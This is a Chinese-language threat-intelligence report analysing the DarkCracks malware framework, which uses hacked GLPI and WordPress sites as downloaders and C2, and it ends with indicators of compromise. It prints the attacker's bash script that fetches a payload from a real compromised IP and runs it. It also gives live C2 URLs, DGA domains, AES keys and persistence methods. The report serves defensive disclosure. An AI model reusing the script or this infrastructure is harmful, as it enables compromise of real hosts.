

[Botnet](#)

DarkCracks, 一个利用被黑GLPI, WORDPRESS站点充当中转的高级恶意 载荷&升级框架

**Alex.Turing, Acey9, TF0xn**

2024年8月31日 · 29 min read



摘要

[发现之旅](#)[攻击目标](#)[时间线](#)[技术细节](#)[Part1: Downloader分析](#)[i. 0x01: Metasploit Stager](#)[i. 0x02: Bash Script](#)[Part2: Runner分析](#)

i. [解密字串&配置文件](#)

i. [0x01: 敏感字串](#)

i. [0x02: 配置文件](#)

/ . [文件伪装&持久化](#)

/ . [下载加密的Client](#)

i. [0x01: EmUrl](#)

i. [0x02: DGAUrl](#)

i. [解密执行Client](#)

Part3: Client分析

i. [C2通信](#)

i. [Launcher组件的推测](#)

i. [Client的演化](#)

Part4: C2 Panel分析

Part5: 新项目ftMQPwsMnB分析

总结

IOC

[MD5](#)

[Downloader](#)

[C2 \(Victims\)](#)

[DGA C2](#)

i. [202301-202312](#)

i. [202401- 202408](#)

[C2](#)

[Configs](#)

i. [Github](#)

i. [Pastebin](#)

[Appendix](#)

i. [IDA Script](#)

i. [CyberChef](#)

摘要

我们的XLab大网威胁感知系统最近捕获了一个VirusTotal 0检测, 高持续、高隐匿、高完善升级设计、并利用高性能稳定在线设备作为其基础设施的恶意载荷投递&升级框架系统。

从我们的数据来看, 这个我们命名为**DarkCracks**的恶意程序设计精良, 背后的攻击者绝非普通的脚本小子。虽然我们对他的载荷投递&升级框架体系已经掌握, 但由于高隐匿性, 它的Launcher组件我们截止目前尚无显著视野。

不过在8月26日，我们看到在该项目的开发文件中新增一个受密码保护的名字`resume的PDF文件，随后该文件被重命名为韩文 `김영미 이력서 (Kim Young-mi's resume)`，考虑到这是一个较为常见的韩文名字，我们高度怀疑这个组件的一部分功能是针对韩语用户群体的社工活动。

DarkCracks利用被黑的GLPI, WORDPRESS站点充当Downloader & C2，收集被入侵设备敏感信息，维持被入侵设备的长期访问权限，并利用这些设备作为中间节点控制其他设备或投递恶意载荷以隐匿攻击者痕迹。我们视野范围内的分布在不同国家的学校网站，公交系统，甚至监狱访客系统等公众服务系统都是被害对象。

发现之旅

2024年6月5日，`XLab大网威胁感知系统` 对ELF文件
8b3d2b156424e5a0dc3f6d2b0dec96b2的网络流量发出**ELF_Downloader**告警，
该流量为HTTP类型，下载路径
为 `/vendor/sabre/event/lib/Promise/wk8dnj2k-x64-musl`，路径层级非常深，高度疑似被黑，这引起了我们的关注。经过分析，我们确认下载服务器
45.169.87.67被黑客入侵，攻击面为该IP上运行的**GLPI**系统。`wk8dnj2k-x64-musl` 是一个Runner，它的功能是解密参数指定的的JSON格式配置文件，下载，解密并执行**clientUrl**字段指定的Client；而Client的功能则是上报被侵入设备的信息，被C2下发的配置文件驱动，下载更新Runner, Client, Launcher等组件。目前Runner, Client组件在VirusTotal都是**0检测**，它们已在安全产商的眼皮底下偷摸活动超过一年时间。

2024年6月12日，另一个下载脚本f8a495a98c43b0805f53be14db09c409进入我们的视野，它使用的下载路径
为 `/vendor/sebastian/diff/src/Exception/p01iM9hd-x64-musl`。该文件与上述的wk8dnj2k-x64-musl高度相似；同样下载服务器 **179.191.68.85**也提供**GLPI**服务。

“相似的文件，不同的文件名，托管在不同的服务器&不同的路径”这一异常现象很明显的说明在野存在未知的攻击者正在入侵GLPI系统，并利用攻陷的设备做为基础设

施，承载其网络犯罪活动。为了理清源头，我们展开了溯源工作，最终在 样本，配置文件，C2，攻击目标 等方面都有所发现。

1. 多个被攻陷的系统背后的主机隶属于不同国家的关键基础设施，如 学校网站，公交系统，监狱访客系统 等。
2. 通过XLab指令跟踪系统中捕获更换C2指令，新的C2是被黑的WORDPRESS站点。
3. 在Github上发现存储配置文件的项目sudoku1，创建时间为2023年7月11日。
4. 在VirusTotal上发现与Client同源的ELF文件
c447f7980a18205f309d8432f312fe69，此文件中的带有源码路径 /home/erin/Desktop/Works/smарт-update/SmartUpdate/client。
5. XLab主动联系受害者，获得C2 Panel，最终掌握了"管理员模式"的运行机制。
6. 在Github上发现另一项目ftMQPwsMnB，包含诱饵文件 김영미 이력서，以及QuasarRAT。

综上所述，一个至少活跃了1年以上，设计精良的恶意载荷投递&升级框架在我们眼前变得清晰，它利用被黑的GLPI, WORDPRESS站点充当Downloader & C2，主要目的是收集被入侵设备敏感信息，维持被入侵设备的长期访问权限，利用稳定高性能被入侵设备作为中间节点控制其他设备或投递恶意载荷以隐匿攻击者痕迹。

高持续、高隐匿、高完善的升级设计、挑选高性能稳定在线设备作为其基础设施 等迹象表明该框架背后的攻击者并非普通的脚本小子。基于样本中使用的xor秘钥 Crackalackin，我们内部将这个框架称为DarkCracks。尽管目前我们尚未捕获到Launcher组件，无法感知DarkCracks的进一步活动，但长达一年以上时间的活动未被安全产品感知和检出足以说明其攻击手段的隐匿和高效。这值得我们警惕，为此我们撰写了本文，向安全社区分享发现。

攻击目标

DarkCracks 根据受害者设备的性能差异分配不同角色：性能强劲的设备承担基础设施角色，如 C2 和 Downloader；而性能较弱的设备则充当 Bot 业务节点。

DarkCracks 的一类攻击目标是Word Press以及GLPI。WordPress，一个世界知名的web内容管理系统，此处就再不展开；而相对冷门的GLPI（Gestionnaire Libre de Parc Informatique）是一款开源的 IT 资产管理和服务管理系统，它主要用于帮助组织管理其信息技术资产，包括硬件、软件、网络设备等。该系统广泛应用于中小型企业、教育机构和政府部门，以提高 IT 基础设施的管理和维护效率。

在我们观察到的13个C2/Downloader中(被入侵的设备)，涉及不同国家的城市公交系统、监狱访客预约系统、金融机构等重要机构。

根据奇安信鹰图的统计，近一个月暴露在公网上的GLPI服务数字为10157，请使用此系统的相关企业积极排查，保持警惕。

时间线

根据我们掌握的线索，我们整理了以下 DarkCracks 的活动时间线。需要注意的是，这仅基于我们现有的情报，DarkCracks 的实际活动可能早于此时间线。

- 2023.07.11, adrhpbrn29创建项目soduku1，用于存储备用配置文件。
- 2023.07.18, 未加密的Client从中国被上传到VT，敏感字串未被加密。
- 2024.05.23, Runner样本先后从波兰、韩国、荷兰、英国、德国和美国上传到VirusTotal，其中的敏感字符串已全部加密。
- 2024.06.05, DarkCracks Downloader首次进入视野，XLab发现45.169.87.67被黑，提供众多Runner(包含05.23)，配置文件，Client下载。
- 2024.06.06, 完成对Runner的分析，成功解密配置文件与Client，发现备用配置保存在github，版本号为 SUC 2.0，部分CPU架构样本支持DGA。

- 2024.06.10, 捕获更新C2指令, 新的C2为被黑的Word Press站点。
- 2024.06.12, 发现179.191.68.85被黑, 充当DarkCracks的下载服务器, 备用配置保存在pastebin, 版本号为 SUC 2.01, 全系CPU架构支持DGA。
- 2024.06.14, 受害者向XLab提供黑客在其设备的留下的implants, 包括c2 panel, 配置文件等。
- 2024.07.23, 另一Runner样本先后从芬兰, 日本和美国上传到VT, 敏感字串未被加密, 不支持DGA。
- 2024.08.23, adrhpbrn29创建项目ftMQPwsMnB, 传播远控木马QuasarRAT。

技术细节

接下来, 我们将从Downloader开始, 逐步引出Darkcracks关键组件: Runner、Client、Launcher以及C2 Panel。通过对各个组件功能的详细分析, 我们将理清框架的设计原理, 揭示Darkcracks是如何利用这些组件隐秘的实现Payload投递。

Part1: Downloader分析

关于Downloader, 我们观察到2种不同的形式, 一种是Metasploit Stagers, 它首先接收shellcode构建shell执行环境, 然后执行wget下载; 另一种则是bash脚本, 直接通过wget/curl下载。

0x01: Metasploit Stager

MD5: 8b3d2b156424e5a0dc3f6d2b0dec96b2

Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked

Stager与213.139.233.163:18441通信, 产生的网络流量如下所示, 它的目的是向45.169.87.67请求wk8dnj2k-x64-musl。

wk8dnj2k正是DarkCracks的Runner组件，在45.169.87.67我们发现了gnu, uclibc, musl等编译器产生的ARM,MIPS,X86/64 CPU架构的Runner `wk8dnj2k-{cpu}-{compiler}`，加密的Client `se3hf6jwc-{cpu}-{compiler}`，以及加密的配置文件 `qoakeifm-unknown.txt`。

oxo2: Bash Script

```
MD5: f8a495a98c43b0805f53be14db09c409
Magic: Bourne-Again shell script text executable
```

Script的功能一目了然，向179.191.68.85请求 `pQ1iM9hd-x64-musl` 以及 `j8UgL3v`；其中前者为Runner，后者为加密的配置文件。

```
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget "http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/pQ1iM9hd-x64-musl"
wget http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -O agr|curl
chmod +x ./wdvsh;
./wdvsh agr;

sleep 3;
rm ./wdvsh;
rm ./agr;
```

同样179.191.68.85上也保存着Darkcracks的各种CPU架构的不同实体。

Part2: Runner分析

45.169.87.67承载的Runner `wk8dnj2k-{cpu}{compiler}`，版本号为2.0；179.191.68.85中的`pQ1iM9hd`系列版本号为2.01，它们之间的差异非常小，本文以 `wk8dnj2k X64 Cpu` 架构的Runner为主要分析对象，以下为它的基本信息：

```
Name: wk8dnj2k-x64
MD5: 93a7cba1edbacb633021ebc38c10a79f
```

正如其名称所示，Runner的主要功能是充当启动器，负责下载、解密并执行Client。具体来说，当Runner运行时，它首先检查运行参数，并且最多支持一个参数，即一个加密的JSON格式配置文件。合法的配置文件在解密后至少需要包含以下三个字段：`key`（解密Client所需的密钥和IV）、`emUrl`（备用配置文件的下载地址）以及`clientUrl`（加密Client的下载地址）。

在配置文件通过合法性验证后，Runner会创建工作目录`/var/tmp/.shm`，将自身移动到该目录，并重命名为一个UUID格式的文件名。接着生成一个新的加密文件`2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1`，该文件的`SH3`字段保存了原始配置文件的内容。随后通过`crontab`、`bash_profile`或`/etc/init.d/rnd`等方式实现持久化。最后下载、解密并执行Client。

如果未指定参数，Runner将检查是否存在文件`/var/tmp/.shm/2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1`，通过`SH3`字段获取配置文件，然后进入解密配置文件、下载并执行Client的流程。

解密字串&配置文件

0x01：敏感字串

为了保护功能不被一眼看破，Runner将敏感的字串都进行预先的加密处理；当需要使用时则通过`decstr`函数进行解密。

该如何解密字符串呢？可以直接使用`flare_emu`对`decstr`函数进行模拟执行，以密文“9MwEVEVWWExM5AkO”为例，它对应的明文是“clientUrl”。

```
import flare_emu
def ignorefree(eh, address, argv, funcName, userData):
    eh.uc.reg_write(eh.regs["rax"], 0)

ciphertext=b'9MwEVEVWWExM5AkO'
eh=flare_emu.EmuHelper()
eh.apiHooks['free']=ignorefree
eh.emulateRange(startAddr=0x00000000000F9D0, skipCalls=False, registers={'rdi':cipher}

print(eh.getEmuString(eh.getRegVal('ret')))
```

当然作为安全分析肯定不会满足黑盒式的解密，经过分析，decstr函数的解密逻辑可以分成以下3步。

1. 字串逆序列，Base64 URLSafe模式解码
2. 与Crackalackin'逐字节异或
3. 英文字母大小写互换，Base64 URLSafe模式解码

最终我们实现了附录中的IDAPython脚本用于还原加密字串，并将密文进行patch，效果如下所示，此时再进行逆向分析就方便的多了。

OXO2: 配置文件

关于配置文件，我们一共捕获了2份，qoakeifm-unknown和j8UgL3v。配置文件使用了和敏感字串相同的加密方式，解密后如下所示，值得注意的是emUrl指定向的备用配置储存在github，pasterbin俩个第3方内容托管平台。

- 45.169.87.67中的配置文件qoakeifm-unknown
- 179.191.68.85中的配置文件j8UgL3v

配置文件中各字段的说明见下表：

ITEM	DESCRIPTION
key	AES KEY&IV
url	Client Report Entry
authHeader	Auth String
emUrl	Backup Config
runnerUrl	Runner Download URL
clientUrl	Client Download URL

文件伪装&持久化

当合法的配置文件成功解密后，Runner会创建工作目录/var/tmp/.shm，并将自身移动到该目录，重命名为UUID格式的文件名，并重新生成一个加密的配置文件，2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1。

2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1也是JSON格式，其中 SH1 的内容为 UUID的文件名， SH3 的内容为原始配置文件。

当Runner完成文件伪装之后，接着使用以下任意一种方式实现持久化。

1. 若设备支持crontab，直接使用 crontab 实现持久化。
2. 若1不满足，且当前用户组为普通用户，通过 .bash_profile 实现持久化。
3. 若1不满足，且当前用户组为root用户，通过 /etc/init.d/rnd 实现持久化。

下载加密的Client

Runner使用一个永真的的代码片段依次向3类不同的URL尝试下载加密的Client，任一成功就跳出循环；否则就休眠6到18小时，再进行下一次尝试。这种模式被我们称之为3层URL任务轮询。

其中clienturl属于直接模式，只需要将其与样本的cpu架构字串拼接，就能得到Client的下载地址；而emurl和dgaurl则属间接模式，它们首先下载url指向的页面，通过 seed_string 字串定位其中的备用配置文件信息，然后将其解密进而获得新的clienturl。很明显clienturl，emurl，dgaurl 三者构成了一个多层级的冗余结构，第一层的clienturl通常指向被黑的站点，这类资产无疑是不稳定的，随时可能被清理；于是有了第2云的emurl，指向第3方的信息托管平台，稳定性更强，但依然有被封禁的风险；最终有了dgaurl，当前俩层url失效时，通过算法每月生成不同的域名做为最后的保障。

0x01:EmUrl

clienturl的处理过程很简单，此处不再赘，让我们聚焦于emurl&dagurl的处理逻辑。以配置文件qoakeifm-unknown中的emurl

<https://raw.githubusercontent.com/adrhpbrn29/sudoku1/main/main.cpp> 为例，以下为保存在变量seed_string中的备用配置。

seed_string中的备用配置解密后如下所示，Runner获得clienturl之后再度进入直接下载模式。

sudoku1项目于2023年7月11日17:08:29创建，17:24:02提交第一条包含seed_string的记录，目前有6条提交记录。

COMMIT	DATE	AUTHHEADER
e1e10dc	2024.03.28	LJHRQWE
abb67fc	2024.03.13	LJHRQWE
6392b06	2023.12.27	LJHRQWE
c72963b	2023.10.04	SLDKFA
248c8a8	2023.10.04	Linux Max
5970967	2023.07.11	Rbz021g6

我们使用"git diff"核对了所有的提交记录，发现变化集中在main.cpp中的seed_string变量，从中提取了6个不同的clienturl和C2url（详情见IOC中的github小节）。

而配置文件j8UgL3v中的emurl [https://pastebin\[.\]com/raw/GYEBVyMR](https://pastebin[.]com/raw/GYEBVyMR)，除了上述seed_string之外（详情见IOC中的pastebin小节），还给我们带来另一个视野：访问该页面的IP统计。目前Unique访问该页面的IP数字接近300。

OXO2: DGAUrl

dgaurl与emurl的处理逻辑是一样的，那它们有什么不同呢？答案是来源，emurl来源于配置文件，而dagurl是通过算法生成。算法逻辑比较简单，每月生成一个域

名，将当前“年&月”按照“%d%02d”进行格式化，然后使用上文所述的字串加密算法进行加密，最后和“<http://%s.com>”进行拼接，得到dgaurl。以“202408”为例，产生的dga域名为 `UVDFUg0AgjL.com`。

我们核对了2023年至今dgaurl（详情见IOC中的DGA小节），发现所有域名均为未注册状态。这在某种意义上说明Darkcracks潜伏的非常好，emurl机制并没有被安全社区没有被发现，在这种情况下，他们甚至觉得没有必要启用最终应急手段。

解密执行Client

Client使用AES CBC模式加密，解密所需的秘钥&IV由配置文件中的key提供。key是一个hexstring，前16字节为秘钥，后16字节为IV。目前捕获的两个配置文件中的key均为

```
2D8C7FEE42D3DB4A8E55FBFF65351E1BB8ADDBA8FCBD0F85EE1CA5033D0DF342
```

。

它对应的秘钥与IV如下示，

- AES KEY: 2D 8C 7F EE 42 D3 DB 4A 8E 55 FB FF 65 35 1E 1B
- AES IV: B8 AD DB A8 FC BD 0F 85 EE 1C A5 03 3D 0D F3 42

Runner在成功解密Client之后，将其保存在/tmp目录，通过exec函数启动执行，并将自身删除。

Part3: Client分析

关于Client，我们以 `se3hf6jwc-x64` 做为主要分析对象，以下为它解密前后的基本信息（感兴趣的读者可以使用附录中的CyberChef脚本对Client进行解密）

```
Name: se3hf6jwc-x64
MD5: 81ecc9c10368aa54cfed371f83da45a
MD5: fe5f484f71bf0fd7afa56e60da7eec6f (Decrypted)
Magic: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (u)
```

经过分析，我们确认Client使用了和Runner类似的架构，即“配置文件驱动+3层Url任务轮询”。与Runner的主要轮询目标为clientUrl不同的是，Client的目标是配置文件中url字段指定的C2上报入口。Client将本身的敏感设备信息加密后上报给C2，被C2下发的加密配置驱动执行不同的任务。

- NewVersion：下载更新Runner，Client
- NewLauncherVersion：下载更新Launcher
- versionCheckerUrl：更新C2上报入口

C2通信

Client通过以下代码片段构建JSON格式上线信息，加密后做为http的body上报给C2，支持http/https两种方式。值得一提的是platform字段，它的值的格式为"arch/user(euid)/version"，version通过/proc/version获得。

以实际捕获的流量为例，可以看出交互流量中的body部分都是加密的。

C2的回包解密后如下所示，Client收到此消息，根据versionCheckerUrl字段的值，更新C2，再次开始请求新的配置文件。

```
{  
  "versionCheckerUrl": "https://www.miracles.com.hk/wp-content/plugins/foxip  
  "authHeader": "Linux MaEW"  
}
```

Launcher组件的推测

目前，我们没有捕获Launcher组件，但根据Client对NewLauncherVersion的处理，可以推测出以下Launcher情报：

1. Launcher被加密存放在远程服务器上，使用的加密算法为AES
2. Launcher也支持和Runner, Client一样的加密算法

3. Launcher同样是被配置文件驱动，核心配置保存

在 /var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6

Client的演化

我们对比了2.0, 2.01的Client样本，样本层面的变化体现在敏感字串是否加密，以及是否支持DGA算法，可以看着这些变化的主要目的是为了增强隐蔽性&健壮性。

VERSION	ENCRYPTED STRING	DGA
SUC 2.0	N (x86/x64 Y)	N (x86/x64 Y)
SUC 2.01	Y	Y

有意思的一个点是，其实在SUC2.0中x86/64架构的Client其实已经支持**敏感字串加密以及DGA特性**。可以看出Darkcracks对于功能升级比较谨慎，先从部分架构试运行，待功能完善&稳定之后再推行到所有架构。

Part4: C2 Panel分析

某个被感染的用户向我们提供了其设备上C2 Panel文件，它的基本信息如下所示：

```
MD5: 8103a187a710378020dbdee8ff213b5b  
MD5: 69ef27f8e69dbba222c3c33a53906d79 (Deobfuscate)  
Obfuscation: Yes
```

该文件采用了多层混淆，只需要逐层将eval替换为print，即可去混淆。

C2 Panel由PHP语言实现，代码在600行左右，功能比较简单，概括来说就是根据硬编码的配置文件 tem9FG5.tmp 对不同来源的请求做出回应，支持业务，管理俩种模式。先说管理模式，即请求来源于Bot Master，C2 Pannel根据请求报文对配置文件进行“增，删，改，查”；而业务模式，说有是当请求来源于Bot时，根据配置文件的设定，决定是否记录Bot，是否响应Bot。

如何区分请求来源呢？答案是authentication字段，当其值是Statistics暗示来源为Bot Master；否则就是来自于Bot。authentication字段的另一个作用是验证是否来

自合法的Bot，其实每个C2在初始时会设定一个特定的authHeader，只有当Bot的authentication和C2的authHeader匹配时，C2才会进行响应。

某种意义上来说，配置文件tem9FG5.tmp相关于一个数据库，它记录着Bot Master的设置，它保存着Bot的信息，那它的格式是什么的，支持哪些字段？首选我们需要生成一个配置文件，方法是向测试机器发送了以下2个请求，模拟初始化和Bot上线。

1. 初化始配置文件，设定authHeader

```
{"authentication":"Statistics","isActive":true,"authHeader":"XLab"}
```

2. Bot上线

```
{"authentication":"XLab","uuid":"fac60bdc-5786-415e-8992-79abcb132d64","platform": "
```

测试机器上的C2 Panel对于以上请求生成的加密配置文件如下所示：

配置文件的解密比较简单，可需使用 `strrev(convert_uudecode($input))` 即可解密，解密后的明文和我们构造的请求能够一一对应的，可以配置文件为JSON格式，Bot的相关信息被存放在clients字段，authHeader被存放在config字段。

以下为配置支持的字段以及它们的含义。

ITEM	DESCRIPTION
config	C2 Status
clients	Bot info
pendingChanges	Config to be delivered
sessions	Cmd output from bot
sessionCommands	Cmds to be delivered

Bot Master通过pendingChanges, sessionCommands两个字段向Bot投递指令。下面的代码片段正是C2核对client的uuid，决定是否下发Launcher配置。

受害者向我们提供的配置文件中的pendingChanges涉及到一个被黑的站点 soussanart.com，我们向其发送查询客户端请求，获得了76个client的信息，它们分布在17个国家，涉及到4个不同的版本，跨度很大从1.2到2.02。

至此，我们对DarkCracks的分析告一段落。很显然还有许多谜题待解开，我们相信这仅仅是一个开始。

Part5: 新项目ftMQPwsMnB分析

2024年8月23日，当我们完成本文大部分内容，正欲收笔之时，突然发现adrhpbrn29创建了一个新项目ftMQPwsMnB，该项目只有一个名为bzupdate.zip的压缩包，包含 config.ini, Updater.exe, version.dll 3个文件。

快速分析之后，我们确认version.dll是恶意的，它的功能是使用AES算法对Binary资源进行解密得到Shellcode，Shellcode最终加载的Payload是开源的远控木马QuasarRAT。AES KEY为 [FCFF50FB13B09C44F806CF4947381718](#)，IV为 [2DD695D6845AA9F83F0071B709D78CBD](#)。除AES之外，还使用了XOR对字串解密，XOR的key为 [quackquack](#)。

目前ftMQPwsMnB项目共有5次提交记录，虽然version.dll的md5各个不同，但作为核心的的“Binary”其实只有3个。

COMMIT	MD5 OF VERSION	MD5 OF "BINARY"
7ddc62e	456d05566fc3391e195a5f9cb346c92c	91bcbf4de7ff8bddebdc49b62cad1ac1
ab75b85	c2d69f5e5fa2af8131f1cb3d9fdfbd4b	05481286a1aa1f0d7d9df7bbbb3aeb73
ab6a892	9e94126e8a26efd10b2a5b179d64be90	05481286a1aa1f0d7d9df7bbbb3aeb73
271b28c	ceb7f3d92096892410e041a3b318ab9b	05481286a1aa1f0d7d9df7bbbb3aeb73

COMMIT	MD5 OF VERSION	MD5 OF "BINARY"
653eb26	ca93591a9441a2ade70821f67292d982	6176c8374cd656783c9b354944c8052e

关于远控木马QuasarRAT，网络上已有非常多的分析文章，感兴趣的读者可自行参阅，本文不再赘述。本案列中3个Shellcode所投递的QuasarRAT的配置信息几乎是一样的，只是在C2部分端口有所不同，以 ab75b85 投递的QuasarRAT为例，它的配置文件如下所示：

目前我们还没有发现这个项目的使用场景，但config.ini的内容与收费软件 [bandisoft](#) 相关，因此我们推测其中的一个传播手段或许是通过免费破解诱骗用户下载安装。

8月26日，该项目又新增2个提交记录，增加一个PDF文件，初始文名分别是 resume，该文件受密码保护，因此我们暂时不知道内容为何。大约在50分钟之后，它被重命名为韩文 김영미 이력서，即Kim Young-mi's resume。resume是常见的钓鱼诱饵文件，我们推测DarkCracks的攻击目标之一是韩语用户群体。

DATE	COMMIT	FILENAME	MD5
2024/08/26 09:19:32	5130de3	resume.pdf	71ebe71eec7e0f2420cd931534dd22c3
2024/08/26 10:09:27	a04bf51	김영미 이력서.pdf	71ebe71eec7e0f2420cd931534dd22c3

总结

DarkCracks是一个设计简洁但灵活的payload投递与升级框架，其优点非常突出。例如，三层URL轮询机制为框架提供了强大的健壮性；多组件加密投递和组件运行后即删的特性，有效保护了核心功能模块不被发现。然而，它也存在明显的不足之处，例如在通过DGAUrl投递备用配置时，仅依赖可逆算法进行保护，使得整个网络存在被接管的风险；C2 Panel的管理模式很容易获得，了解协议的人能很轻松的修改甚至清空配置文件，进而让C2停止工作，使得网络存在瘫痪的可能。

我们建议网络管理员通过上文所述与 `/var/tmp/.shm` 相关技术细节判断感染与否，欢迎受害者与我们联系，我们可以提供技术支持。

这是我们目前掌握的关于DarkCracks所有情报。当然本文的分析只是从我们自身的视野出发，肯定有其局限性，欢迎具有独特视角的同行企业提供新的线索，以帮助进一步完善DarkCracks的画像。如果您对我们的研究感兴趣，亦可通过[X平台](#)与我们联系，获取更多详细信息。

IOC

MD5

Runner

```
c30e9934299fd43527834086b6cfa26a *pQ1iM9hd-armv5-uclibc  
8c53e98685fc3ce8b86055991b905926 *pQ1iM9hd-armv6-gnu  
257c9ec1241b3fa59565edec9689276b *pQ1iM9hd-armv8-gnu  
281e4ede8ffc0f854ce671b5b3ae06f8 *pQ1iM9hd-mips-uclibc  
21732589b41506e1e7de87d7066ea43e *pQ1iM9hd-mipsel-uclibc  
93a7cba1edbacb633021ebc38c10a79f *pQ1iM9hd-x64  
036d6c73fe7a568160f3de8a98d0a58b *pQ1iM9hd-x64-musl  
5340ee724893fd596852f22ecbc3e795 *pQ1iM9hd-x86
```

```
c6909b8b8bc55fac85c5fe650c7df42a *wk8dnj2k-armv5-uclibc  
227d19736af70bef817da96668994af8 *wk8dnj2k-armv6-gnu  
a18957196842c78cbce2247d766712ad *wk8dnj2k-armv8-gnu  
0dd9e350aafe0d1c9e619d27ebd2ccfd *wk8dnj2k-mips-uclibc  
8859d9b1c3f41b9dad3cee68adadd92 *wk8dnj2k-mipsel-uclibc  
93a7cba1edbacb633021ebc38c10a79f *wk8dnj2k-x64  
e587cd53059f58526be7e2167cf7177b *wk8dnj2k-x64-musl  
5340ee724893fd596852f22ecbc3e795 *wk8dnj2k-x86
```

Client

```
af93dc3d635ed3b46439e38fae8ecf6b *mY5bJK7e-armv5-uclibc  
b0f7df80d2adda176f8d58a55b773eed *mY5bJK7e-armv5-uclibc.decrypted  
7d6ea278b5ae9081c03e340d6f98a4a5 *mY5bJK7e-armv6-gnu  
635a7ae54cb7966d61e2e8f64391e870 *mY5bJK7e-armv6-gnu.decrypted  
c1d07c102e436284d3fbce0410658ae8 *mY5bJK7e-armv8-gnu  
11d4db491fe82e37ff0a5c3787cfa143 *mY5bJK7e-armv8-gnu.decrypted  
4e64816a821ce2eb231a5be5395a2f20 *mY5bJK7e-mips-uclibc  
2e7d67a3be72c5d1718fc2689c0d5d08 *mY5bJK7e-mips-uclibc.decrypted  
5e9bf8a980bcc4d004ff505778b843e6 *mY5bJK7e-mipsel-uclibc
```

```
527cc24f043c58101c122c2a2f6c6d8e *mY5bJK7e-mipsel-uclibc.decrypted
5b39497af0d9874d38288476d3a9f5a4 *mY5bJK7e-x64
dffee792a8e65d38d897bd3400aec3d *mY5bJK7e-x64.decrypted
7515282b084374d9d8b87e46b87e4af8 *mY5bJK7e-x64-musl
ee0d3c3c528034fa3ebdc37596014382 *mY5bJK7e-x64-musl.decrypted
d41c379725973e97ef9cbaf1efdb2f3 *mY5bJK7e-x86
1d407ff91ce19afc82f7946c3ec24dea *mY5bJK7e-x86.decrypted
```

```
a1f3e574799c3f874a8d3563dbc55f4c *se3hf6jwc-armv5-uclibc
ad831d9c00c90fead925f4575f4a6a9a *se3hf6jwc-armv5-uclibc.decrypted
2b5df28714421d79ab3e63eac538d853 *se3hf6jwc-armv6-gnu
2107625e9980d190e3214ef09a83608f *se3hf6jwc-armv6-gnu.decrypted
35f846e24d0ccb5a3ec736c07f6a0a2 *se3hf6jwc-armv8-gnu
5fbe460fc8fa09dc6adc73e5e908cd0e *se3hf6jwc-armv8-gnu.decrypted
27f18a27942fb71c4e84736db45b5cf *se3hf6jwc-mips-uclibc
e1674821a190f5250e6aba40916c9061 *se3hf6jwc-mips-uclibc.decrypted
b1040f3193d4bec01b13bc73ecaa2587 *se3hf6jwc-mipsel-uclibc
7c33c052c5d451ba4069639286dfc4b5 *se3hf6jwc-mipsel-uclibc.decrypted
81ecc9c10368aa54cfed371f83da45a *se3hf6jwc-x64
fe5f484f71bf0fd7afa56e60da7eec6f *se3hf6jwc-x64.decrypted
08169e20daaad052075bd4026c8e287f *se3hf6jwc-x64-musl
2caf09452e79390f09befb27dad9acf4 *se3hf6jwc-x64-musl.decrypted
5421bc92f2dd8f37538c2023c1e2f8ee *se3hf6jwc-x86
7168f47f067d260c34543e32a7a55cbd *se3hf6jwc-x86.decrypted
```

Config

```
4e52426a96baf84431775adf2d6f0ae2 *j8UgL3v
4a642a86a8d8e71e5f163fa54eda9241 *qoakeifm-unknown.txt
```

Downloader

```
https://www.auntyaliceschool.site/wp-admin/maint/{se3hf6jwc|wk8dnj2k}
http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/{mY5bJK7e|pQ1iM9hd}
http://45.169.87.67/vendor/sabre/event/lib/Promise/{se3hf6jwc|wk8dnj2k}
```

C2 (Victims)

```
http://187.190.1.137/vendor/guzzlehttp/guzzle/src/Exception/detail.php
http://204.199.192.44/vendor/paragonie/sodium\_compat/src/Core32/Poly25519.php
http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://158.177.2.191/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://64.227.0.146/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://216.238.103.62:8013/vendor/guzzlehttp/guzzle/src/Exception/DNSException.php
```

<http://52.0.85.62/vendor/guzzlehttp/guzzle/src/Exception/detail.php>
<https://www.miracles.com.hk/wp-content/plugins/foxiplugin/detail.php>
<http://152.67.11.54/wordpress//wp-admin/includes/sus.php>

DGA C2

202301-202312

kTD7Yg0AgjL.com
gTD7Yg0AgjL.com
sTD7Yg0AgjL.com
EVD7Yg0AgjL.com
AVD7Yg0AgjL.com
MVD7Yg0AgjL.com
IVD7Yg0AgjL.com
UVD7Yg0AgjL.com
QVD7Yg0AgjL.com
YTC7Yg0AgjL.com
kTC7Yg0AgjL.com
gTC7Yg0AgjL.com

202401- 202408

kTDFUg0AgjL.com
gTDFUg0AgjL.com
sTDFUg0AgjL.com
EVDFUg0AgjL.com
AVDFUg0AgjL.com
MVDFUg0AgjL.com
IVDFUg0AgjL.com
UVDFUg0AgjL.com

C2

Configs

Github

Address: [https://github\[.\]com/adrhpbrn29/sudoku1](https://github[.]com/adrhpbrn29/sudoku1)

```
{"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler."  
 {"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler."  
 {"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler."  
 {"url":"http://158.177.2.191/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler"  
 {"url":"http://64.227.0.146/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler."  
 {"url":"http://216.238.103.62:8013/vendor/guzzlehttp/guzzle/src/Exception/DNSExcept
```

Pastebin

Address:[https://pastebin\[.\]com/GYEBVyMR](https://pastebin[.]com/GYEBVyMR)

```
{"url":"http://52.0.85.62/vendor/guzzlehttp/guzzle/src/Exception/detail.php","authH
```

Appendix

IDA Script

```
# Install flare_emu first  
# Only test with 93a7cba1edbacb633021ebc38c10a79f  
